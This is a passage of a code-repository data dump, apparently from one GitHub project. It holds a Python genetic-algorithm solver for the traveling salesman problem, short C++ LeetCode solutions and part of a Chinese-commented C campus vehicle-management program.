indv.score:\r\n self.Optimal = indv\r\n\r\n # 交叉\r\n def cross(self, dad, mom):\r\n son, position = [], 0\r\n # 1. 确定交叉片段位置\r\n index1 = np.random.randint(0, self.geneLength - 1)\r\n index2 = np.random.randint(0, self.geneLength - 1)\r\n segment = mom.gene[index1: index2]\r\n for x in dad.gene:\r\n # 2. 到达交叉起点\r\n if position == index1:\r\n son.extend(segment)\r\n position += 1\r\n # 3. 其它情况，直接将基因插入子代 gene\r\n if x not in son:\r\n son.append(x)\r\n position += 1\r\n self.crossNums += 1\r\n return son\r\n\r\n # 变异\r\n def mutation(self, gene):\r\n son = gene[:]\r\n # 1. 确定变异点\r\n index1 = np.random.randint(0, self.geneLength - 1)\r\n index2 = np.random.randint(0, self.geneLength - 1)\r\n # 2. 交换两点基因\r\n son[index1], son[index2] = son[index2], son[index1]\r\n self.mutationNums += 1\r\n return son\r\n\r\n # 选择\r\n def select(self):\r\n # 1. 利用总适应度选择\r\n s = np.random.uniform(0, self.scoreSum)\r\n for indv in self.Groups:\r\n s -= indv.score\r\n if s <= 0:\r\n return indv\r\n raise Exception(\"Error\", self.scoreSum)\r\n\r\n # 产生新子代\r\n def generate(self):\r\n dad = self.select()\r\n # 1. 交叉\r\n P = np.random.random()\r\n if P < self.Pc:\r\n mom = self.select()\r\n gene = self.cross(dad, mom)\r\n else:\r\n gene = dad.gene\r\n # 2. 变异\r\n P = np.random.random()\r\n if P < self.Pm:\r\n gene = self.mutation(gene)\r\n return Indv(gene)\r\n\r\n # 产生新种群\r\n def evolve(self):\r\n # 1. 计算适应度\r\n self.fitness()\r\n # 2. 新一代\r\n groups = [self.Optimal]\r\n # 3. 产生新子代\r\n while len(groups) < self.indvNums:\r\n groups.append(self.generate())\r\n # 4. 更新种群\r\n self.Groups = groups\r\n self.t += 1\r\n\r\n\r\nclass TSP:\r\n def __init__(self, indvNums):\r\n self.indvNums = indvNums\r\n self.initialize()\r\n self.ga = GA(Pc=0.7, Pm=0.1, indvNums=self.indvNums, geneLength=len(self.sites), scoreFunc=self.scoreFunc())\r\n\r\n # 初始化\r\n def initialize(self):\r\n self.sites = []\r\n # 随机生成点\r\n for i in range(100):\r\n x = np.random.randint(0, 200)\r\n y = np.random.randint(0, 200)\r\n self.sites.append((x, y))\r\n\r\n # 计算某基因（路径）的总距离\r\n # 适应度函数\r\n def distance(self, gene):\r\n dist = 0.0\r\n for i in range(-1, len(self.sites) - 1):\r\n index1, index2 = gene[i], gene[i + 1]\r\n site1, site2 = self.sites[index1], self.sites[index2]\r\n # 欧式距离\r\n dist += np.sqrt(pow(site1[0] - site2[0], 2) + pow(site1[1] - site2[1], 2))\r\n return dist / 1000\r\n\r\n def scoreFunc(self):\r\n return lambda indv: self.distance(indv.gene)\r\n\r\n # 运行函数\r\n def run(self, T=0):\r\n res, n = [], 0\r\n # 1. 判断终止条件\r\n while n < T:\r\n # 2. 生成新种群\r\n self.ga.evolve()\r\n # 3. 计算当前迭代最优结果\r\n dist = self.distance(self.ga.Optimal.gene)\r\n print(f'{self.ga.t} : {round(dist, 5)}')\r\n res.append(dist)\r\n n += 1\r\n self.display(res, T)\r\n\r\n # 结果可视化\r\n def display(self, res, T):\r\n plt.plot(range(T), res, color='lightcoral')\r\n plt.title(\"iteration - score\", color='r')\r\n plt.xlabel(\"iteration\")\r\n plt.ylabel(\"score ×10^3\")\r\n plt.show()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n tsp = TSP(100)\r\n tsp.run(500)\r\n"},{"alpha_fraction":0.3672390878200531,"alphanum_fraction":0.4095112383365631,"avg_line_length":26.11111068725586,"blob_id":"525150fd7544595c014023d1e274e9a323da41af","content_id":"7888d61cbd8e4e16be7498bcecbfde41a97fea02","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":771,"license_type":"no_license","max_line_length":68,"num_lines":27,"path":"/leetcode/leetcode16_10.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 面试题 16.10. 生存人数\r\n\r\nclass Solution {\r\npublic:\r\n int maxAliveYear(vector<int>& birth, vector<int>& death) {\r\n int live[101] = {0};\r\n int MAX_year = 0, MAX_nums = 0;\r\n\r\n for (int i = 0; i < birth.size(); i++)\r\n {\r\n int start = birth[i], end = death[i];\r\n for(int j = start-1900;j <= end-1900;j++){\r\n live[j] += 1;\r\n if(live[j] > MAX_nums){\r\n MAX_year = j + 1900;\r\n MAX_nums = live[j];\r\n } else if(live[j] == MAX_nums && j+1900 < MAX_year){\r\n MAX_year = j + 1900;\r\n }\r\n }\r\n }\r\n return MAX_year;\r\n }\r\n};"},{"alpha_fraction":0.44312795996665955,"alphanum_fraction":0.4620853066444397,"avg_line_length":21.55555534362793,"blob_id":"4b925bb4eba036cfe42971b537d3457ab6f1947e","content_id":"57854e7f66640a28f0d73457bdae14f22cc96966","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":436,"license_type":"no_license","max_line_length":79,"num_lines":18,"path":"/leetcode/leetcode1800.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 1800. 最大升序子数组\r\n\r\nclass Solution {\r\npublic:\r\n int maxAscendingSum(vector<int>& nums) {\r\n int p = 0, res = 0;\r\n while (p < nums.size()){\r\n int temp = nums[p];\r\n while (p < nums.size()-1 && nums[p+1] > nums[p]) temp += nums[++p];\r\n res = max(res, temp);\r\n p++;\r\n }\r\n return res;\r\n }\r\n};"},{"alpha_fraction":0.2758132815361023,"alphanum_fraction":0.2927864193916321,"avg_line_length":24.259260177612305,"blob_id":"2226d821d5317ffacd92a73d1335c34f560e98ed","content_id":"045570a219a5c583dff8f2d7b9b35678212e2077","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":719,"license_type":"no_license","max_line_length":62,"num_lines":27,"path":"/leetcode/leetcode1576.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 1576.替换所有问号\r\n\r\nclass Solution {\r\npublic:\r\n string modifyString(string s) {\r\n char a = 'a';\r\n for(int i = 0; i < s.length(); i++){\r\n if(s[i] == '?'){\r\n int k = 0;\r\n if(i == 0){\r\n while (a+k == s[i+1]) k++;\r\n s[i] = a + k;\r\n } else if(i == s.length()-1){\r\n while (a+k == s[i-1]) k++;\r\n s[i] = a + k;\r\n } else {\r\n while(a+k == s[i-1] || a+k == s[i+1]) k++;\r\n s[i] = a + k;\r\n }\r\n }\r\n }\r\n return s;\r\n }\r\n};"},{"alpha_fraction":0.4261796176433563,"alphanum_fraction":0.4292237460613251,"avg_line_length":23.269229888916016,"blob_id":"ba9aecbb6ffb7de84f78578ddc7ef41acb316ce7","content_id":"40b9b516856045a5ee266e88f2c5a794941ef49b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":677,"license_type":"no_license","max_line_length":57,"num_lines":26,"path":"/leetcode/leetcode1.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 1.两数之和\r\n\r\nclass Solution {\r\npublic:\r\n vector<int> twoSum(vector<int>& nums, int target) {\r\n map<int, int> mp; // first是值，second是索引\r\n vector<int> res;\r\n int pair;\r\n for (int i = 0; i < nums.size(); i++)\r\n {\r\n pair = target - nums[i];\r\n map<int, int>::iterator iter = mp.find(pair);\r\n if(iter != mp.end()){\r\n res.push_back(iter->second);\r\n res.push_back(i);\r\n break;\r\n } else {\r\n mp[nums[i]] = i;\r\n }\r\n }\r\n return res;\r\n }\r\n};\r\n"},{"alpha_fraction":0.38494935631752014,"alphanum_fraction":0.40086829662323,"avg_line_length":22.75,"blob_id":"e74cdd13d96c1e7e23cd27d6bb32f873bd5a6431","content_id":"2510fa7ba3bf0cc386baf27be7eeeab50a995462","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":699,"license_type":"no_license","max_line_length":57,"num_lines":28,"path":"/leetcode/leetcode1447.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 1447.最简分数\r\n\r\nclass Solution {\r\npublic:\r\n vector<string> simplifiedFractions(int n) {\r\n vector<string> vec;\r\n if(n == 1) return vec;\r\n string temp;\r\n for(int i = 2;i <= n;i++){\r\n for(int j = 1;j < i;j++){\r\n if(j == 1 || check(j, i)){\r\n temp = to_string(j)+'/'+to_string(i);\r\n vec.push_back(temp);\r\n }\r\n }\r\n }\r\n return vec;\r\n }\r\n bool check(int a, int b){\r\n for(int i = 2;i <= a;i++){\r\n if(a % i == 0 && b % i == 0) return false;\r\n }\r\n return true;\r\n }\r\n};"},{"alpha_fraction":0.3242603540420532,"alphanum_fraction":0.35384616255760193,"avg_line_length":19.174999237060547,"blob_id":"f6600897445003d5af3cc8a217a28f4c836e4a0d","content_id":"5890affa91840d03705feaf94d231d806aba1d04","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":859,"license_type":"no_license","max_line_length":56,"num_lines":40,"path":"/leetcode/leetcode13.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<bits/stdc++.h>\r\nusing namespace std;\r\n\r\n// LeetCode 13.罗马数字转整数\r\n\r\nclass Solution {\r\npublic:\r\n int romanToInt(string s) {\r\n int res = 0;\r\n for(int i = s.size()-1; i >= 0; i--){\r\n if(i != 0 && values(s[i]) > values(s[i-1])){\r\n res += (values(s[i]) - values(s[i-1]));\r\n i--;\r\n } else {\r\n res += values(s[i]);\r\n }\r\n }\r\n return res;\r\n }\r\n\r\n int values(char c) {\r\n switch (c){\r\n case 'I':\r\n return 1;\r\n case 'V':\r\n return 5;\r\n case 'X':\r\n return 10;\r\n case 'L':\r\n return 50;\r\n case 'C':\r\n return 100;\r\n case 'D':\r\n return 500;\r\n case 'M':\r\n return 1000;\r\n }\r\n return 0;\r\n }\r\n};"},{"alpha_fraction":0.4258679747581482,"alphanum_fraction":0.46061599254608154,"avg_line_length":19.92751693725586,"blob_id":"3a05376e14e3dd81ec5d177a11cf7c64172d4fbc","content_id":"a5ce1f5e263e22532a2c38c7f1dbce2a442c4e7b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":39281,"license_type":"no_license","max_line_length":161,"num_lines":1559,"path":"/C/双学位C语言/Cpp1.cpp","repo_name":"MoMiJ1/Fungus","src_encoding":"UTF-8","text":"#include<stdio.h>\r\n#include<cstring>\r\n#include<stdlib.h>\r\n#include<ctype.h>\r\n#include<math.h>\r\n#include <algorithm>\r\n#define MAX 1000\r\n//**************************************** paramster\r\nstruct USER // 定义用户结构体\r\n{\r\n\tchar id[7]; // 用户编号\r\n\tchar card[5]; // 卡类型\r\n\tlong valid; //有效期/次数\r\n\tchar carid1[7]; //车牌号1\r\n\tchar carid2[7]; //车牌号2\r\n\tchar car1in[13]; //车1入场时间\r\n\tchar car2in[13]; //车2入场时间\r\n}user[MAX];\r\n\r\n//定义月份数组，用于计算天数\r\nint month[13][2]={{0,0},{31,31},{28,29},{31,31},{30,30},{31,31},{30,30},{31,31},{31,31},{30,30},{31,31},{30,30},{31,31}};\r\n//**************************************** function\r\nvoid showmenu();\r\nvoid save(int);\r\nvoid creat();\r\nvoid display();\r\nvoid add();\r\nvoid modify();\r\nvoid carin();\r\nvoid carout();\r\nvoid sort();\r\n//**************************************** main function\r\nint main()\r\n{\r\n\tint select,flag,e;\r\n\tshowmenu();\r\n\tprintf(\"请输入您要进行的操作：\");\r\n\tscanf(\"%d\",&select);\r\n\tprintf(\"\\n\"); \r\n\tdo\t\t\t\t\t\t\t\t\t\t//指令选择\r\n\t{\r\n\t\tif(select>=1&&select<=8)\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tflag=0;\r\n\t\t\tprintf(\"input error.choose again.\\n\");\r\n\t\t}\r\n\t}while(!flag);\r\n\twhile(flag) //指令执行\r\n\t{ \r\n\t\tswitch(select)\r\n\t\t{\r\n\t\tcase 1:\r\n\t\t\tprintf(\"创建记录会导致原有记录全部清空，确定继续操作吗(1/0)？\");\r\n\t\t\tscanf(\"%d\",&e);\r\n\t\t\tif(e==1){\r\n\t\t\t\tcreat();\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\tadd();\r\n\t\t\tbreak;\r\n\t\t\tcase 3:\r\n\t\t\tdisplay();\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\tcarin();\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\tcarout();\r\n\t\t\tbreak;\r\n\t\tcase 6:\r\n\t\t\tmodify();\r\n\t\t\tbreak;\r\n\t\tcase 7:\r\n\t\t\tsort();\r\n\t\t\tbreak;\r\n\t\tcase 8:\r\n\t\t\texit(0); //exit(0):程序正常运行并退出 \r\n\t\t\tbreak;\r\n\t\tdefault:break;\r\n\t\t};\r\n\t\tprintf(\"\\n\");\r\n\t\tprintf(\"是否继续操作?(1/0):\");\r\n\t\tscanf(\"%d\",&e);\r\n\t\tif(e==1)\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tsystem(\"cls\");\r\n\t\t\tshowmenu();\r\n\t\t\tprintf(\"请输入您要进行的操作： \");\r\n\t\t\tscanf(\"%d\",&select);\r\n\t\t\tprintf(\"\\n\");\r\n\t\t}\r\n\t\telse\r\n\t\t\tflag=0;\r\n\t};\r\n\tprintf(\"*****感谢您的使用。*****\\n\");\r\n\tprintf(\"\\n\");\r\n\treturn 0;\r\n};\r\n//**************************************** functions \r\n\r\nvoid showmenu() //指令菜单\r\n{\r\n\tprintf( \"====== 校园车辆管理系统 ======\\n\" );\r\n\tprintf(\"======\\t1、创建记录\\t======\\n\");\r\n\tprintf(\"======\\t2、添加记录\\t======\\n\");\r\n\tprintf(\"======\\t3、浏览记录\\t======\\n\");\r\n\tprintf (\"======\\t4、车辆进入\\t======\\n\");\r\n\tprintf (\"======\\t5、车辆离开\\t======\\n\");\r\n\tprintf(\"======\\t6、修改记录\\t======\\n\");\r\n\tprintf (\"======\\t7、排序显示\\t======\\n\");\r\n\tprintf (\"======\\t8、离开系统\\t======\\n\");\r\n\tprintf (\"==============================\\n\") ;\r\n\tprintf(\"如要退出系统，请保存信息！\\n\");\r\n};\r\n\r\nvoid save(int m){ //保存信息\r\n\tint i;\r\n\tFILE* fp;\r\n\tif((fp=fopen(\"car.txt\",\"wb\"))==NULL)\r\n\t{\r\n\t\tprintf(\"cannot open file\\n\");\r\n\t\texit(0);\r\n\t}\r\n\tfor(i=0;i<m;i++)\t\r\n\t\tif(fwrite(&user[i],sizeof(struct USER),1,fp)!=1)\r\n\t\t\tprintf(\"file write error\\n\");\r\n\tfclose(fp);\t\r\n}\r\n\r\nint load(){ //载入信息\r\n\tFILE* fp;\r\n\tint i=0;\r\n\tif((fp=fopen(\"car.txt\",\"rb\"))==NULL)\r\n\t{\r\n\t\tprintf(\"cannot open file\\n\");\r\n\t\texit(0);\r\n\t}\r\n\telse\r\n\t{\r\n\t\tdo\r\n\t\t{\r\n\t\t\tfread(&user[i],sizeof(struct USER),1,fp);\r\n\t\t\ti++;\r\n\t\t}\r\n\t\twhile(feof(fp)==0);\r\n\t}\r\n\tfclose(fp);\r\n\treturn(i-1);\r\n};\r\n\r\nbool isFull(){ // 判断是否已满\r\n int m = load();\r\n if (m == MAX) {return true;}\r\n return false;\r\n}\r\n\r\nvoid display(){ //展示信息\r\n\tint i;\r\n\tint m=load();\r\n\tfor(i=0;i<m;i++)\r\n\t\tprintf(\"\\t%s\\t,\\t%s\\t,\\t%d\\t,\\t%s\\t,\\t%s\\t,\\t%s\\t,\\t%s\\t\\n\",user[i].id,user[i].card,user[i].valid,user[i].carid1,user[i].carid2,user[i].car1in,user[i].car2in);\r\n};\t\t\t\r\n\r\nvoid creat() //创建新信息数据\r\n{\r\n\tint i,j,m,flag,k;\r\n\tchar uid[7],cid1[7],cid2[7],today[7],va[7],tcard[5];\r\n\tlong time,v;\r\n\tdo\t\t\t\t\t\t\t\t\t\t//判断输入是否符合要求：位数，数字\r\n\t{\r\n\t\tflag=1;\r\n\t\tprintf(\"请输入今日日期(例190212): \");\r\n\t\tscanf(\"%s\",&today);\r\n\t\tif(strlen(today)!=6)\r\n\t\t\tflag=0;\r\n\t\tfor(k=0;today[k]!='\\0' && flag;k++)\r\n\t\t\tif(isdigit(today[k])==0) // 判断日期格式是否为数字：isdigit\r\n\t\t\t\tflag=0;\r\n\t}while(!flag);\r\n\ttime=atol(today); //将时间转化为数字形式:atol\r\n\r\n\tdo \r\n\t{\r\n printf(\"输入创建用户数(1000以内)：\");\r\n scanf(\"%d\", &m);\r\n }while(m>1000);\r\n\r\n\tfor(i=0;i<m;i++)\r\n\t{\r\n\t\tdo //录入用户id\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tdo //判断用户id是否合理\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"请输入由字母与数字组成的6位用户ID：\");\r\n\t\t\t\tscanf(\"%s\",&uid);\r\n\t\t\t\tif(strlen(uid)!=6)\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\tfor(k=0;uid[k]!='\\0' && flag;k++)\r\n\t\t\t\t\tif(isalnum(uid[k])==0) //判断用户id是否为字母与数字：isalnum\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t}while(!flag);\r\n\t\t\tfor(j=0;j<i && flag;j++) //用户id查重\r\n\t\t\t{\r\n\t\t\t\tif((strcmp(user[j].id,uid))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"该用户已存在,请重新输入：\");\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}while(!flag);\r\n\r\n\t\tdo //录入第一辆车\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tdo //判断车牌是否合理:不为0；字母与数字组合\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"请输入由字母与数字组成的车牌号：\");\r\n\t\t\t\tscanf(\"%s\",&cid1);\t\r\n\t\t\t\tif((strcmp(cid1,\"0\"))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"用户至少有一辆车!\");\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\t};\r\n\t\t\t\tfor(k=0;cid1[k]!='\\0' && flag;k++)\r\n\t\t\t\t{\r\n\t\t\t\t\tif(isalnum(cid1[k])==0)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t}\r\n\t\t\t}while(!flag);\r\n\t\t\tfor(j=0;j<i && flag;j++) //车牌查重\r\n\t\t\t{\r\n\t\t\t\tif((strcmp(user[j].carid1,cid1))==0 || (strcmp(user[j].carid2,cid1))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"该车已存在！\");\r\n\t\t\t flag=0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}while(!flag);\r\n\r\n\t\tdo //录入第二辆车,操作同一\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tdo \r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"若有第二辆车，请输入由字母与数字组成的车牌号,若没有请输入0：\");\r\n\t\t\t\tscanf(\"%s\",&cid2);\r\n\t\t\t\tfor(k=0;cid2[k]!='\\0' && flag;k++)\r\n\t\t\t\t\tif(isalnum(cid2[k])==0)\r\n\t\t\t\t\t\tflag=0;\r\n\r\n\t\t\t\tif(strcmp(cid1,cid2)==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"该车牌号已经输入过了！请重新输入： \");\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\t};\r\n\t\t\t}while(!flag);\r\n\r\n\t\t\tif(strcmp(cid2,\"0\")!=0)\r\n\t\t\t\tfor(j=0;j<i;j++)\r\n\t\t\t\t\tif((strcmp(user[j].carid2,cid2))==0 || (strcmp(user[j].carid1,cid2))==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tprintf(\"该车已存在!\");\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t}while(!flag);\r\n\r\n\t\tif(flag) //录入有效期并写入文件\r\n\t\t{\r\n\t\t\tstrcpy(user[i].id,uid);\r\n\t\t\tstrcpy(user[i].carid1,cid1);\r\n\t\t\tstrcpy(user[i].carid2,cid2);\r\n\r\n\t\t\tdo //有效期录入\r\n\t\t\t{\r\n\t\t\t\tprintf(\"卡类型(year/time):\");\r\n\t\t\t\tscanf(\"%s\",tcard);\r\n\r\n\t\t\t\tif((strcmp(tcard,\"year\"))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tdo \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\tprintf(\"请输入有效使用期:\");\r\n\t\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\t\tif(strlen(va)!=6)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\t\tv=atol(va);\r\n\t\t\t\t\t\tif(v<=time) //有效期与今日时间对比\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tuser[i].valid=v;\r\n\t\t\t\t\tstrcpy(user[i].card,\"year\");\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse if((strcmp(tcard,\"time\"))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tdo\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\tprintf(\"请输入有效次数(一次性输入最大使用次数为30):\");\r\n\t\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++) //先判断输入是否为数字\r\n\t\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\t\t\tv=atoi(va);\r\n\t\t\t\t\t\t\t\tif(v>30 || v<=0)\r\n\t\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tuser[i].valid=v;\r\n\t\t\t\t\tstrcpy(user[i].card,\"time\");\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}while(flag);\r\n\r\n\t\t\tstrcpy(user[i].car1in,\"车辆未进入\");\r\n\t\t\tstrcpy(user[i].car2in,\"车辆未进入\");\r\n\t\t\tif((strcmp(user[i].carid2,\"0\"))==0)\r\n\t\t\t\tstrcpy(user[i].car2in,\"无车辆\");\r\n\t\t\tprintf(\"\\n\");\r\n\t\t};\r\n\t};\r\n\tprintf(\"OK!\");\r\n\tsave(m);\r\n};\r\n\r\nvoid add() //添加信息\r\n{ //add函数的所有添加，验证，容错功能都与creat相同\r\n\tFILE* fp;\r\n\tint n,i,j,flag,k,count=0;\r\n\tint m=load();\r\n\tchar uid[7],ucid1[7],ucid2[7],t[7],va[7],tcard[5];\r\n\tlong time,v;\r\n\r\n\tif (isFull()){printf(\"用户已满，不能添加！\");return;} // 判断是否达到容量上限\r\n\r\n\tdo //日期输入\r\n\t{\r\n\t\tflag=1;\r\n\t\tprintf(\"请输入今日日期(例190212): \");\r\n\t\tscanf(\"%s\",&t);\r\n\t\tif(strlen(t)!=6)\r\n\t\t\tflag=0;\r\n\t\tfor(k=0;t[k]!='\\0' && flag;k++)\r\n\t\t\tif(isdigit(t[k])==0)\r\n\t\t\t\tflag=0;\r\n\t}while(!flag);\r\n\ttime=atol(t);\r\n\r\n\tfp=fopen(\"car.txt\",\"a\");\r\n\tdo{\r\n\t\tprintf(\"现在已有%d个用户，最多还可添加%d个用户，要添加几个？\",m,1000-m);\r\n\t\tscanf(\"%d\",&n);\r\n\t}while(n+m>1000);\r\n\tfor(i=m;i<(m+n);i++)\r\n\t{\r\n\t\tdo\t\t\t\t\t\t\t\t\t\t\t//录入用户id并检查是否合理\r\n\t\t{\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"请输入由字母与数字组成的用户ID：\");\r\n\t\t\t\tscanf(\"%s\",&uid);\r\n\t\t\t\tif(strlen(uid)!=6)\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\tfor(k=0;uid[k]!='\\0' && flag;k++)\r\n\t\t\t\t\tif(isalnum(uid[k])==0)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t}while(!flag);\r\n\t\t for(j=0;j<i && flag;j++)\r\n\t\t\t{\r\n\t\t\t\tif((strcmp(user[j].id,uid))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"该用户已存在!\");\r\n\t\t\t flag=0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}while(!flag);\r\n\r\n\t\tdo\t\t\t\t\t\t\t\t\t// 录入第一辆车\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"输入由字母与数字组成的车牌号：\");\r\n\t\t\t\tscanf(\"%s\",&ucid1);\t\r\n\t\t\t\tif(strcmp(ucid1,\"0\")==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\t\tprintf(\"用户至少有一辆车!\");\r\n\t\t\t\t}\r\n\t\t\t\tfor(k=0;ucid1[k]!='\\0' && flag;k++)\r\n\t\t\t\t\tif(isalnum(ucid1[k])==0)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t}while(!flag);\r\n\r\n\t\t\tfor(j=0;j<i && flag;j++)\r\n\t\t\t{\r\n\t\t\t\tif((strcmp(user[j].carid1,ucid1))==0 || (strcmp(user[j].carid2,ucid1))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"该车已存在!\");\r\n\t\t\t flag=0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}while(!flag);\r\n\r\n\t\tdo //录入第二辆车\r\n\t\t{\r\n\t\t\tflag=1;\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tflag=1;\r\n\t\t\t\tprintf(\"若有第二辆车，请输入由字母与数字组成的车牌号,若没有请输入0：\");\r\n\t\t\t\tscanf(\"%s\",&ucid2);\t\r\n\t\t\t\tfor(k=0;ucid2[k]!='\\0' && flag;k++)\r\n\t\t\t\t\tif(isalnum(ucid2[k])==0)\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\r\n\t\t\t\tif(strcmp(ucid1,ucid2)==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tprintf(\"该车牌号刚才输入过了! \");\r\n\t\t\t\t\tflag=0;\r\n\t\t\t\t};\r\n\t\t\t}while(!flag);\r\n\r\n\t\t\tif((strcmp(ucid2,\"0\"))!=0)\r\n\t\t\t\tfor(j=0;j<i;j++)\r\n\t\t\t\t{\r\n\t\t\t\t\tif((strcmp(user[j].carid2,ucid2))==0 || (strcmp(user[j].carid1,ucid2))==0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tprintf(\"该车已存在！\");\r\n\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t}while(!flag);\r\n\r\n\t\tif(flag)\r\n\t\t{\r\n\t\t\tstrcpy(user[i].id,uid);\r\n\t\t\tstrcpy(user[i].carid1,ucid1);\r\n\t\t\tstrcpy(user[i].carid2,ucid2);\r\n\t\t\tdo\r\n\t\t\t{\r\n\t\t\t\tprintf(\"卡类型(year/time):\"); //输入卡类型\r\n\t\t\t\tscanf(\"%s\",tcard);\r\n\r\n\t\t\t\tif((strcmp(tcard,\"year\"))==0) //年卡输入有效期\r\n\t\t\t\t{\r\n\t\t\t\t\tdo \r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tflag=1;\r\n\t\t\t\t\t\tprintf(\"请输入有效使用期:\");\r\n\t\t\t\t\t\tscanf(\"%s\",&va);\r\n\t\t\t\t\t\tif(strlen(va)!=6)\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tfor(k=0;va[k]!='\\0' && flag;k++)\r\n\t\t\t\t\t\t\tif(isdigit(va[k])==0)\r\n\t\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t\tif(flag)\r\n\t\t\t\t\t\t\tv=atol(va);\r\n\t\t\t\t\t\tif(v<=time) //有效期与今日时间对比\r\n\t\t\t\t\t\t\tflag=0;\r\n\t\t\t\t\t}while(!flag);\r\n\t\t\t\t\tuser[i].valid=v;\r\n\t\t\t\t\tstrcpy(user[i].card,\"year\");\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t\telse if((strcmp(tcard,\"time\"))==0)\r\n\t\t\t\t{\r\n\t\t\t\t\tdo 